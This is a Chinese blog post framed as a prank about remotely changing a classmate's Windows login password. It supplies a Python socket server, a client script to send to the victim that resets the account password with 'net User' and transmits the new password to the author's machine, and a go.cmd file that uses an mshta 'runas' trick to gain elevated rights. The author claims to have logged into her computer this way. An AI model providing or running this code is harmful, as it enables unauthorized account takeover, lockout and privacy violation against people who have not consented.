Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
wxPython窗口的继承机制实例分析
Sep 28 Python
python使用PyGame模块播放声音的方法
May 20 Python
python如何实现excel数据添加到mongodb
Jul 30 Python
Python使用tablib生成excel文件的简单实现方法
Mar 16 Python
Python SqlAlchemy动态添加数据表字段实例解析
Feb 07 Python
使用Python制作简单的小程序IP查看器功能
Apr 16 Python
关于python中密码加盐的学习体会小结
Jul 15 Python
Python 实现判断图片格式并转换,将转换的图像存到生成的文件夹中
Jan 13 Python
django实现后台显示媒体文件
Apr 07 Python
Python几种常见算法汇总
Jun 02 Python
解决运行出现'dict' object has no attribute 'has_key'问题
Jul 15 Python
python实现最短路径的实例方法
Jul 19 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
PHP与已存在的Java应用程序集成
2006/10/09 PHP
ubuntu 编译安装php 5.3.3+memcache的方法
2010/08/05 PHP
eAccelerator的安装与使用详解
2013/06/13 PHP
通过PHP current函数获取未知字符键名数组第一个元素的值
2013/06/24 PHP
php对数组内元素进行随机调换的方法
2015/05/12 PHP
PHP实现简单搜歌的方法
2015/07/28 PHP
PHP基于DateTime类解决Unix时间戳与日期互转问题【针对1970年前及2038年后时间戳】
2018/06/13 PHP
thinkPHP框架实现的短信接口验证码功能示例
2018/06/20 PHP
jquery在Chrome下获取图片的长宽问题解决
2013/03/20 Javascript
js查找某元素中的所有图片地址的方法
2014/01/16 Javascript
JS中attr和prop属性的区别以及优先选择示例介绍
2014/06/30 Javascript
使用 js+正则表达式为关键词添加链接
2014/11/11 Javascript
JS动态日期时间的获取方法
2015/09/28 Javascript
在node.js中怎么屏蔽掉favicon.ico的请求
2017/03/01 Javascript
Restify中接入Socket.io报Error:Can’t set headers的错误解决
2017/03/28 Javascript
JavaScript中闭包的详解
2017/04/01 Javascript
利用yarn代替npm管理前端项目模块依赖的方法详解
2017/09/04 Javascript
详解Vue 事件修饰符capture 的使用
2017/12/29 Javascript
vue-cli中安装方法(图文详细步骤)
2018/12/12 Javascript
Vue2.x通用条件搜索组件的封装及应用详解
2019/05/28 Javascript
JS实现随机点名器
2020/04/12 Javascript
低版本中Python除法运算小技巧
2015/04/05 Python
python多线程方式执行多个bat代码
2016/06/07 Python
Python自动生产表情包
2017/03/17 Python
Python + OpenCV 实现LBP特征提取的示例代码
2019/07/11 Python
python实现七段数码管和倒计时效果
2019/11/23 Python
django框架F&Q 聚合与分组操作示例
2019/12/12 Python
python几种常用功能实现代码实例
2019/12/25 Python
tensorflow多维张量计算实例
2020/02/11 Python
python实现批量命名照片
2020/06/18 Python
浅谈keras中Dropout在预测过程中是否仍要起作用
2020/07/09 Python
Python命名空间及作用域原理实例解析
2020/08/12 Python
家长会演讲稿
2014/04/26 职场文书
公安民警正风肃纪剖析材料
2014/10/10 职场文书
先进集体事迹材料范文
2014/12/25 职场文书
MySQL数据库必备之条件查询语句
2021/10/15 MySQL